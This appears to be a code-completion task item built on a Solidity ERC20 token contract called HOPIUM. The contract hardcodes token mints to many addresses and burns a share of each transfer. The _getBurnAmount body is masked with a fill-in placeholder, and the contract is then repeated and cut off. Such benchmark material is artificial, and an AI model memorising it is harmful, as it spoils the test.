_mint(0x5b6136F5C4e2D1b57A2C08527316bFD079F78837, 766E16); _mint(0x5c43F73f8E453220Fc946166c2D63f5266fCa9Ff, 167E16); _mint(0x5e627786B83397BECCe5Ed74FEB825fed3ad3676, 1068E16); _mint(0x6464C890f20BCB6BB54cB762E9c12F1e3e380d46, 1E18); _mint(0x652df8A98005416a7e32eea90a86e02a0F33F92e, 45E18); _mint(0x6536E7a30d5a912E422e464fC790fec22C86ef14, 2871E16); _mint(0x662F6ef2092c126b6EE0Da44e6B863f30971880d, 45E18); _mint(0x6986f4FD0290bd948411c15EcC3B0745d83c62F4, 958E16); _mint(0x6eFB598D2FfDA3AEF73Ee71a3aeEBaCD6762eE35, 719E16); _mint(0x7914254AD6b6c6dBcbDcC4c964Ecda52DCe588a7, 45E18); _mint(0x7db6BB068FD59721E856e32166d2F417B4C8543A, 3061E16); _mint(0x7e29D5D22F727381358B6B10b6828094CFa93702, 3551E16); _mint(0x7e319b0140091625786c4Bedd74dAa68df243c82, 45E18); _mint(0x7eB24d86E62BA34134fE5ffaE09bbdcaD7Aff010, 810E16); _mint(0x88Eb97E5ECbf1c5b4ecA19aCF659d4724392eD86, 45E18); _mint(0x8B2784921F4935aD19F59273962A824f2550ccA7, 421E16); _mint(0x8eC686860fe3196667E878ed1D5497EB7fd35872, 23E18); _mint(0x8F18fc10277A2d0DdE935A40386fFE30B9A5BC17, 45E18); _mint(0x907b4128FF43eD92b14b8145a01e8f9bC6890E3E, 45E18); _mint(0x9325901B103A5AeCC699b087fa9D8F4596C27e9E, 3548E16); _mint(0x945f48ab557d96d8ed9be43Ca15e9a9497ACa25b, 1609E16); _mint(0x946a58054fadF84018CA798BDDAD14EBbA0A042D, 1362E16); _mint(0x9725548D0aa23320F1004F573086D1F4cba0804c, 300E18); _mint(0x99685f834B99b3c6F3e910c8454eC64101f02296, 45E18); _mint(0xa4BD82608192EDdF2A587215085786D1630085E8, 25E18); _mint(0xAB00Bf9544f10EF2cF7e8C24E845ae6B62dcd413, 45E18); _mint(0xac25C07464c0A53ebA6450c945f62dD66Cf5c1A7, 45E18); _mint(0xADB637a329d951D8c8c4E86FD8d4ca308C9d6892, 2E18); _mint(0xb1776C152080228214c2E84e39A93311fF3c03C1, 45E18); _mint(0xB4Cf7d78Ee8b63C73D7E2a8e7556528cD402FEBA, 4085E16); _mint(0xB8B0c4B8877171bfE2D1380bb021c27A274cBB9d, 192E16); _mint(0xBa03EcA6b692532648c4da21840fB9Af578147A2, 5754E16); _mint(0xbb257625458a12374daf2AD0c91d5A215732F206, 45E18); _mint(0xbC17e8Ee00939111E5c74E17f205Dc2805298ff9, 10E18); _mint(0xC0Bc8226527038F95d0b02b3Fa7Cfd0D2F344968, 45E18); _mint(0xc346D86B69ab3F3f8415b87493E75179FC4997B5, 471E18); _mint(0xC419528eDA383691e1aA13C381D977343CB9E5D0, 3093E17); _mint(0xc76bf7e1a02a7fe636F1698ba5F4e28e88E3Af3c, 45E18); _mint(0xcb794D53530BEE50ba48C539fbc8C5689Ffae34F, 45E18); _mint(0xd00c8e3A99aE3C87657ed12005598855DC59f433, 45E18); _mint(0xd03A083589edC2aCcf09593951dCf000475cc9f2, 45E18); _mint(0xd62a38Bd99376013D485214CC968322C20A6cC40, 45E18); _mint(0xD86e5a51a1f062c534cd9A7B9c978b16c40A802A, 45E18); _mint(0xd92F8e487bb5a0b6d06Bc59e793cDf9740cdF019, 969E16); _mint(0xDA2B7416aCcb991a6391f34341ebe8735E17Ea0e, 45E18); _mint(0xDDD890078d116325aEB2a4fA42ED7a0Dd4C1f1Ab, 819E16); _mint(0xdF1cb2e9B48C830154CE6030FFc5E2ce7fD6c328, 45E18); _mint(0xDFA7C075D408D7BFfBe8691c025Ca33271b2eCCc, 45E18); _mint(0xE13C6dC69B7ff1A7BA08A9dC2DD2Ac219A34133E, 1E16); _mint(0xe3960cCF27aD7AB88999E645b14939a01C88C5b7, 672E16); _mint(0xE58Ea0ceD4417f0551Fb82ddF4F6477072DFb430, 45E18); _mint(0xe63ceB167c42AB666270594057d7006D9D145eD5, 3434E16); _mint(0xe8e749a426A030D291b96886AEFf644B4ccea67B, 45E18); _mint(0xE94D448083dFd5FEafb629Ff1d546aE2BD189783, 168E17); _mint(0xE9919D66314255A97d9F53e70Bf28075E65535B4, 45E18); _mint(0xeA5DcA8cAc9c12Df3AB5908A106c15ff024CB44F, 118E17); _mint(0xea90c80638843767d680040DceCfa4c3ab1573a7, 913E16); _mint(0xEAB8712536dc87359B63f101c404cf79983dB97E, 2802E16); _mint(0xEF572FbBdB552A00bdc2a3E3Bc9306df9E9e169d, 45E18); _mint(0xEfF529448A3969c043C8D46CE65E468e9Db58349, 678E16); _mint(0xf0F0fC23cda483D7f7CA11B9cecE8Af20BF0Bd20, 4335E16); _mint(0xf1a72A1B1571402e1071BFBfbBa481a50Fb65885, 45E18); _mint(0xf422c173264dCd512E3CEE0DB4AcB568707C0b8D, 45E18); _mint(0xf5f737C6B321126723BF0afe38818ac46411b5D9, 45E18); _mint(0xF874a182b8Cbf5BA2d6F65A21BC9e8368C8C5B07, 45E18); _mint(0xf916D5D0310BFCD0D9B8c43D0a29070670D825f9, 45E18); _mint(0xfAcb29bE46ccA69Dcb40806eCf2E4C0Bb300ba73, 45E18); _mint(0xFdc91e7fD18E08DF7FF183d976F1ba195Ae29860, 995E16); _mint(0x7071f8D9bF33E469744d8C6BCc596f5937f5a43F, 3564E18); _mint(0x0B11FB8E5072A0C48cf90cDbcFc117776a73605D, 45E18); _mint(0xbC17e8Ee00939111E5c74E17f205Dc2805298ff9, 45E18); _mint(0x5558647B57C6BE0Cd4a08fe2725965f1d9237AE7, 90E18); _mint(0x96693870AAf7608D5D41AE41d839becF781e22b0, 90E18); _mint(0x99ee03Aef7a668b7dA6c9e6A33E0CC4a413617C8, 90E18); _mint(0x9Aa91482E4D774aeB685b0A87629217257e3ad65, 90E18); _mint(0xbccea8a2e82cc2A0f89a4EE559c7d7e1de11eb8e, 45E18); _mint(0xDDFB4C1841d57C9aCAe1dC1D1c8C1EAecc1568FC, 45E18); _mint(0xe24C2133714B735f7dFf541d4Fb9a101C9aBcb40, 45E18); _mint(0x8F6485F44c56E9a8f496e1589D27Bc8256233E0D, 90E18); _mint(0x9b0726e95e72eB6f305b472828b88D2d2bDD41C7, 45E18); _mint(0x5e336019A05BCF2403430aD0bd76186F43d65F8f, 45E18); _mint(0x8D1CE473bb171A9b2Cf2285626f7FB552320ef4D, 90E18); _mint(0x9aD70D7aA72Fca9DBeDed92e125526B505fB9E59, 45E18); _mint(0x1c41984b9572C54207C4b9D212A815EF9e2eE9a9, 45E18); _mint(0xb5ac8804acdd56905c83CA4Ed752788155E2296e, 45E18); _mint(0xEf7d508fCFB61187D8d8A48cC6CB187722633E2D, 45E18); _mint(0xCc2e32ca9BEea92E4Bbd5777A30D1fB922CfA0F6, 45E18); _mint(0xB163870edc9d1a1681F6c88b68fca770A23fB484, 90E18); _mint(0x94f490Cc1e2F47393676B5518cc5e29785DcE5CA, 90E18); _mint(0xC0a0ADD83f96f455f726D2734f2A87616810c04B, 45E18); _mint(0x40feBfC8cC40712937021d117a5fD299C44DD09D, 45E18); _mint(0xc7861b59e2193424AfC83a83bD65c8B5216c7EB0, 45E18); _mint(0xEF572FbBdB552A00bdc2a3E3Bc9306df9E9e169d, 45E18); _mint(0x17BD48111d066870FABBbF341E1f844feA705822, 90E18); _mint(0xac6C371aD7015D1653CAda1B39824849884824D4, 45E18); _mint(0x957982B268A15ad3Fe3a4f45DaF74BD730EA8522, 90E18); _mint(0xac6C371aD7015D1653CAda1B39824849884824D4, 45E18); _mint(0x957982B268A15ad3Fe3a4f45DaF74BD730EA8522, 90E18); _mint(0xbACf9C6afbF0377467679746fac0BC82Ebc55c13, 90E18); _mint(0x374de73Bb1C65dA4Ea256EAFdcD5671747bEa22b, 45E18); _mint(0xb6eC0d0172BC4Cff8fF669b543e03c2c8B64Fc5E, 45E18); _mint(0x4Ca0201f99b59fdE76b8Df81c2dF83B356d4e02E, 45E18); _mint(0xd41c0982bc3fC6dfE763B044808126529c4513c6, 81E18); _mint(0x47262B32A23B902A5083B3be5e6A270A71bE83E0, 45E18); _mint(0x97D3F96c89eEF4De83c336b8715f78F45CA32411, 45E18); _mint(0xCB98923e740db68A341C5C30f375A34352272321, 45E18); _mint(0xC0A564ae0BfBFB5c0d2027559669a785916387a6, 45E18); _mint(0xD1FDB36024ACa892DAa711fc97a0373Bf918AC7E, 90E18); _mint(0x164d53A734F68f2832721c0F1ca859c062C0909F, 45E18); _mint(0xF4314E597fC3B53d5bEf1D5362D327c00388A64F, 45E18); _mint(0x83A9B9cF068C4F6a47BbD372C5E915350DFc88F7, 45E18); _mint(0xC86cea81d3c320086cE20eFdEc2e65d039136451, 90E18); _mint(0xB2C480B570d5d85099DdB62f5Bdbf8294eEb7Bc4, 54E18); _mint(0x6C0aC58A28E14Aa72Eb4BA1B5c40f3b82b73DA01, 90E18); _mint(0x035000529CffE9f04DB8E81B7A53807E63EeaC12, 90E18); _mint(0x759878ffA1a043064F7b1a46869F7360D0e1bEd0, 45E18); _mint(0x3151335A0f4Dd51fc553c39d3003AcBb59568f09, 72E18); _mint(0x1E46Fc7c886aAcfB46d774d2281C0a64747Fd50a, 45E18); _mint(0x9CF3D7E809D4DB6B97281e0092603Ed93D84998F, 45E18); _mint(0xDF219a91C6e6eb0506b5d658b0ebB99Aa978195c, 675E17); _mint(0x452Eacc327d4B9764A54E031A33C0D7a4b290746, 90E18); _mint(0x7222659adc246fd757B411d34E786F27E644708c, 45E18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 burnAmount = _getBurnAmount(amount); _burnTotalSupply(burnAmount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount.sub(burnAmount)); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev reducing the total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burnTotalSupply(uint256 amount) internal virtual { _totalSupply = _totalSupply.sub(amount); emit burnTotalSupply(amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Get the burnAmount when transfering tokens. */ function _getBurnAmount(uint256 amount) internal view virtual returns (uint256) {<FILL_FUNCTION_BODY> } }
contract HopiumCoinContract is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _threshold; uint256 private _burnRate; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () public { _name = "HOPIUM"; _symbol = "HOPIUM"; _decimals = 18; _burnRate = 69; // burnRate when transfering tokens should be divided by 1000 _threshold = 2420E18; // distribute tokens _mint(0x03E1Fe6B95BEFBC99835C6313d01d3075a81BbE2, 45E18); _mint(0x05BaD2724b1415a8B6B3000a30E37d9C637D7340, 45E18); _mint(0x076C48C9Ef4C50D84C689526d086bA56270e406c, 45E18); _mint(0x08103E240B6bE73e29319d9B9DBe9268e32a0b02, 1430E16); _mint(0x09b9A7f1335042fAf506ab5c89ce91436B39B46a, 856E16); _mint(0x0aA3ae4aB9854903482dA1F78F1052D6BcA64BbE, 3669E16); _mint(0x0B11FB8E5072A0C48cf90cDbcFc117776a73605D, 45E18); _mint(0x0c6d54839de473480Fe24eC82e4Da65267C6be46, 45E18); _mint(0x0C780749E6d0bE3C64c130450B20C40b843fbEC4, 45E18); _mint(0x10C223dFB77F49d7Cf95Cc044C2A2216b1253211, 45E18); _mint(0x167bB613c031cB387c997c82c02B106939Fd8F07, 45E18); _mint(0x16D972690c16EA81CBcef3682d9B46D0Ac0a1FE7, 5747E16); _mint(0x1aa0b915BEeA961e6c09121Bb5f9ED98a10b7658, 45E18); _mint(0x1D40FC9456A1E6F13f69615FEe1cbcBe604B9167, 1788E16); _mint(0x1EBB9eE2b0cd222877e4BcA8a56d4444EfC5e28B, 7966E16); _mint(0x2041Ea0efD9702b1Ca13C0FCa2899Ed31B9167dB, 45E18); _mint(0x25052177670Dc586FCEF615b35150CE0f0bf88a4, 5467E16); _mint(0x26c6f93451BCf317a1FC24393fE760cF695525b3, 1320E16); _mint(0x27fa60d49C82379373a76A858742D72D154e96B2, 45E18); _mint(0x298c80FCaB43fA9eE0a1EF8E6abF86374e0498d9, 45E18); _mint(0x29D62e1d0975bb024B2C40Ef6C878bF809245e71, 104E16); _mint(0x2B3352e94EB8bCC46391d89ec7A8C30D352027f8, 3462E16); _mint(0x2f442C704c3D4Bd081531175Ce05C2C88603ce09, 45E18); _mint(0x3111413a49f62be9b9547620E660780a1AC9bae1, 45E18); _mint(0x3293A92372Ae49390a97e1bB3B185EbC30e68870, 20E18); _mint(0x3481fBA85c1b227Cd401d4ef2e2390f505738B08, 45E18); _mint(0x34b7339C3D515b4a82eE58a6C6884A1f2B429872, 45E18); _mint(0x34Ba737f5195e354047a68f1eb42073AF41b153F, 348E18); _mint(0x3aDbDCe09f514283FEf7b4dEd6514f2b4A08853a, 1340E16); _mint(0x3Cc729E9CD6521E3e97CfFc17a60005f1e78e5Ac, 479E17); _mint(0x4342e82B94b128fcCBe1bDDF454e51336cC5fde2, 45E18); _mint(0x436b72cd2bc5812B8D9e6e5bD450613f7E2cB70b, 496E16); _mint(0x43B4D03a347dAE1753197Cac0FB15333126B271F, 638E16); _mint(0x444FE3e5A882D24166Fd64c9598FEcc1702D47e7, 17E18); _mint(0x4Ac70381F04eA4A14EE3Dc8142d19D22A116CA52, 755E16); _mint(0x4B424674eA391E5Ee53925DBAbD73027D06699A9, 2499E16); _mint(0x4E7e1C73C116649c1C684acB6ec98bAc4FbB4ef6, 5973E16); _mint(0x4f70eD6b19cc733D5C45A40250227C0c020Ab3cD, 494E16); _mint(0x5193542bDEdb3D029c7b399Dbe3b9E40D97A72d3, 2066E16); _mint(0x51Ed1e5560a6f60de3b1388e52e93BF9A2BE293A, 823E16); _mint(0x529771885770a756eaAb634F68B61495687D3156, 280E16); _mint(0x53848cd0F32680E0B253a4164a5E0c552d27Ce36, 574E16); _mint(0x5b6136F5C4e2D1b57A2C08527316bFD079F78837, 766E16); _mint(0x5c43F73f8E453220Fc946166c2D63f5266fCa9Ff, 167E16); _mint(0x5e627786B83397BECCe5Ed74FEB825fed3ad3676, 1068E16); _mint(0x6464C890f20BCB6BB54cB762E9c12F1e3e380d46, 1E18); _mint(0x652df8A98005416a7e32eea90a86e02a0F33F92e, 45E18); _mint(0x6536E7a30d5a912E422e464fC790fec22C86ef14, 2871E16); _mint(0x662F6ef2092c126b6EE0Da44e6B863f30971880d, 45E18); _mint(0x6986f4FD0290bd948411c15EcC3B0745d83c62F4, 958E16); _mint(0x6eFB598D2FfDA3AEF73Ee71a3aeEBaCD6762eE35, 719E16); _mint(0x7914254AD6b6c6dBcbDcC4c964Ecda52DCe588a7, 45E18); _mint(0x7db6BB068FD59721E856e32166d2F417B4C8543A, 3061E16); _mint(0x7e29D5D22F727381358B6B10b6828094CFa93702, 3551E16); _mint(0x7e319b0140091625786c4Bedd74dAa68df243c82, 45E18); _mint(0x7eB24d86E62BA34134fE5ffaE09bbdcaD7Aff010, 810E16); _mint(0x88Eb97E5ECbf1c5b4ecA19aCF659d4724392eD86, 45E18); _mint(0x8B2784921F4935aD19F59273962A824f2550ccA7, 421E16); _mint(0x8eC686860fe3196667E878ed1D5497EB7fd35872, 23E18); _mint(0x8F18fc10277A2d0DdE935A40386fFE30B9A5BC17, 45E18); _mint(0x907b4128FF43eD92b14b8145a01e8f9bC6890E3E, 45E18); _mint(0x9325901B103A5AeCC699b087fa9D8F4596C27e9E, 3548E16); _mint(0x945f48ab557d96d8ed9be43Ca15e9a9497ACa25b, 1609E16); _mint(0x946a58054fadF84018CA798BDDAD14EBbA0A042D, 1362E16); _mint(0x9725548D0aa23320F1004F573086D1F4cba0804c, 300E18); _mint(0x99685f834B99b3c6F3e910c8454eC64101f02296, 45E18); _mint(0xa4BD82608192EDdF2A587215085786D1630085E8, 25E18); _mint(0xAB00Bf9544f10EF2cF7e8C24E845ae6B62dcd413, 45E18); _mint(0xac25C07464c0A53ebA6450c945f62dD66Cf5c1A7, 45E18); _mint(0xADB637a329d951D8c8c4E86FD8d4ca308C9d6892, 2E18); _mint(0xb1776C152080228214c2E84e39A93311fF3c03C1, 45E18); _mint(0xB4Cf7d78Ee8b63C73D7E2a8e7556528cD402FEBA, 4085E16); _mint(0xB8B0c4B8877171bfE2D1380bb021c27A274cBB9d, 192E16); _mint(0xBa03EcA6b692532648c4da21840fB9Af578147A2, 5754E16); _mint(0xbb257625458a12374daf2AD0c91d5A215732F206, 45E18); _mint(0xbC17e8Ee00939111E5c74E17f205Dc2805298ff9, 10E18); _mint(0xC0Bc8226527038F95d0b02b3Fa7Cfd0D2F344968, 45E18); _mint(0xc346D86B69ab3F3f8415b87493E75179FC4997B5, 471E18); _mint(0xC419528eDA383691e1aA13C381D977343CB9E5D0, 3093E17); _mint(0xc76bf7e1a02a7fe636F1698ba5F4e28e88E3Af3c, 45E18); _mint(0xcb794D53530BEE50ba48C539fbc8C5689Ffae34F, 45E18); _mint(0xd00c8e3A99aE3C87657ed12005598855DC59f433, 45E18); _mint(0xd03A083589edC2aCcf09593951dCf000475cc9f2, 45E18); _mint(0xd62a38Bd99376013D485214CC968322C20A6cC40, 45E18); _mint(0xD86e5a51a1f062c534cd9A7B9c978b16c40A802A, 45E18); _mint(0xd92F8e487bb5a0b6d06Bc59e793cDf9740cdF019, 969E16); _mint(0xDA2B7416aCcb991a6391f34341ebe8735E17Ea0e, 45E18); _mint(0xDDD890078d116325aEB2a4fA42ED7a0Dd4C1f1Ab, 819E16); _mint(0xdF1cb2e9B48C830154CE6030FFc5E2ce7fD6c328, 45E18); _mint(0xDFA7C075D408D7BFfBe8691c025Ca33271b2eCCc, 45E18); _mint(0xE13C6dC69B7ff1A7BA08A9dC2DD2Ac219A34133E, 1E16); _mint(0xe3960cCF27aD7AB88999E645b14939a01C88C5b7, 672E16); _mint(0xE58Ea0ceD4417f0551Fb82ddF4F6477072DFb430, 45E18); _mint(0xe63ceB167c42AB666270594057d7006D9D145eD5, 3434E16); _mint(0xe8e749a426A030D291b96886AEFf644B4ccea67B, 45E18); _mint(0xE94D448083dFd5FEafb629Ff1d546aE2BD189783, 168E17); _mint(0xE9919D66314255A97d9F53e70Bf28075E65535B4, 45E18); _mint(0xeA5DcA8cAc9c12Df3AB5908A106c15ff024CB44F, 118E17); _mint(0xea90c80638843767d680040DceCfa4c3ab1573a7, 913E16); _mint(0xEAB8712536dc87359B63f101c404cf79983dB97E, 2802E16); _mint(0xEF572FbBdB552A00bdc2a3E3Bc9306df9E9e169d, 45E18); _mint(0xEfF529448A3969c043C8D46CE65E468e9Db58349, 678E16); _mint(0xf0F0fC23cda483D7f7CA11B9cecE8Af20BF0Bd20, 4335E16); _mint(0xf1a72A1B1571402e1071BFBfbBa481a50Fb65885, 45E18); _mint(0xf422c173264dCd512E3CEE0DB4AcB568707C0b8D, 45E18); _mint(0xf5f737C6B321126723BF0afe38818ac46411b5D9, 45E18); _mint(0xF874a182b8Cbf5BA2d6F65A21BC9e8368C8C5B07, 45E18); _mint(0xf916D5D0310BFCD0D9B8c43D0a29070670D825f9, 45E18); _mint(0xfAcb29bE46ccA69Dcb40806eCf2E4C0Bb300ba73, 45E18); _mint(0xFdc91e7fD18E08DF7FF183d976F1ba195Ae29860, 995E16); _mint(0x7071f8D9bF33E469744d8C6BCc596f5937f5a43F, 3564E18); _mint(0x0B11FB8E5072A0C48cf90cDbcFc117776a73605D, 45E18); _mint(0xbC17e8Ee00939111E5c74E17f205Dc2805298ff9, 45E18); _mint(0x5558647B57C6BE0Cd4a08fe2725965f1d9237AE7, 90E18); _mint(0x96693870AAf7608D5D41AE41d839becF781e22b0, 90E18); _mint(0x99ee03Aef7a668b7dA6c9e6A33E0CC4a413617C8, 90E18); _mint(0x9Aa91482E4D774aeB685b0A87629217257e3ad65, 90E18); _mint(0xbccea8a2e82cc2A0f89a4EE559c7d7e1de11eb8e, 45E18); _mint(0xDDFB4C1841d57C9aCAe1dC1D1c8C1EAecc1568FC, 45E18); _mint(0xe24C2133714B735f7dFf541d4Fb9a101C9aBcb40, 45E18); _mint(0x8F6485F44c56E9a8f496e1589D27Bc8256233E0D, 90E18); _mint(0x9b0726e95e72eB6f305b472828b88D2d2bDD41C7, 45E18); _mint(0x5e336019A05BCF2403430aD0bd76186F43d65F8f, 45E18); _mint(0x8D1CE473bb171A9b2Cf2285626f7FB552320ef4D, 90E18); _mint(0x9aD70D7aA72Fca9DBeDed92e125526B505fB9E59, 45E18); _mint(0x1c41984b9572C54207C4b9D212A815EF9e2eE9a9, 45E18); _mint(0xb5ac8804acdd56905c83CA4Ed752788155E2296e, 45E18); _mint(0xEf7d508fCFB61187D8d8A48cC6CB187722633E2D, 45E18); _mint(0xCc2e32ca9BEea92E4Bbd5777A30D1fB922CfA0F6, 45E18); _mint(0xB163870edc9d1a1681F6c88b68fca770A23fB484, 90E18); _mint(0x94f490Cc1e2F47393676B5518cc5e29785DcE5CA, 90E18); _mint(0xC0a0ADD83f96f455f726D2734f2A87616810c04B, 45E18); _mint(0x40feBfC8cC40712937021d117a5fD299C44DD09D, 45E18); _mint(0xc7861b59e2193424AfC83a83bD65c8B5216c7EB0, 45E18); _mint(0xEF572FbBdB552A00bdc2a3E3Bc9306df9E9e169d, 45E18); _mint(0x17BD48111d066870FABBbF341E1f844feA705822, 90E18); _mint(0xac6C371aD7015D1653CAda1B39824849884824D4, 45E18); _mint(0x957982B268A15ad3Fe3a4f45DaF74BD730EA8522, 90E18); _mint(0xac6C371aD7015D1653CAda1B39824849884824D4, 45E18); _mint(0x957982B268A15ad3Fe3a4f45DaF74BD730EA8522, 90E18); _mint(0xbACf9C6afbF0377467679746fac0BC82Ebc55c13, 90E18); _mint(0x374de73Bb1C65dA4Ea256EAFdcD5671747bEa22b, 45E18); _mint(0xb6eC0d0172BC4Cff8fF669b543e03c2c8B64Fc5E, 45E18); _mint(0x4Ca0201f99b59fdE76b8Df81c2dF83B356d4e02E, 45E18); _mint(0xd41c0982bc3fC6dfE763B044808126529c4513c6, 81E18); _mint(0x47262B32A23B902A5083B3be5e6A270A71bE83E0, 45E18); _mint(0x97D3F96c89eEF4De83c336b8715f78F45CA32411, 45E18); _mint(0xCB98923e740db68A341C5C30f375A34352272321, 45E18); _mint(0xC0A564ae0BfBFB5c0d2027559669a785916387a6, 45E18); _mint(0xD1FDB36024ACa892DAa711fc97a0373Bf918AC7E, 90E18); _mint(0x164d53A734F68f2832721c0F1ca859c062C0909F, 45E18); _mint(0xF4314E597fC3B53d5bEf1D5362D327c00388A64F, 45E18); _mint(0x83A9B9cF068C4F6a47BbD372C5E915350DFc88F7, 45E18); _mint(0xC86cea81d3c320086cE20eFdEc2e65d039136451, 90E18); _mint(0xB2C480B570d5d85099DdB62f5Bdbf8294eEb7Bc4, 54E18); _mint(0x6C0aC58A28E14Aa72Eb4BA1B5c40f3b82b73DA01, 90E18); _mint(0x035000529CffE9f04DB8E81B7A53807E63EeaC12, 90E18); _mint(0x759878ffA1a043064F7b1a46869F7360D0e1bEd0, 45E18); _mint(0x3151335A0f4Dd51fc553c39d3003AcBb59568f09, 72E18); _mint(0x1E46Fc7c886aAcfB46d774d2281C0a64747Fd50a, 45E18); _mint(0x9CF3D7E809D4DB6B97281e0092603Ed93D84998F, 45E18); _mint(0xDF219a91C6e6eb0506b5d658b0ebB99Aa978195c, 675E17); _mint(0x452Eacc327d4B9764A54E031A33C0D7a4b290746, 90E18); _mint(0x7222659adc246fd757B411d34E786F27E644708c, 45E18); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - 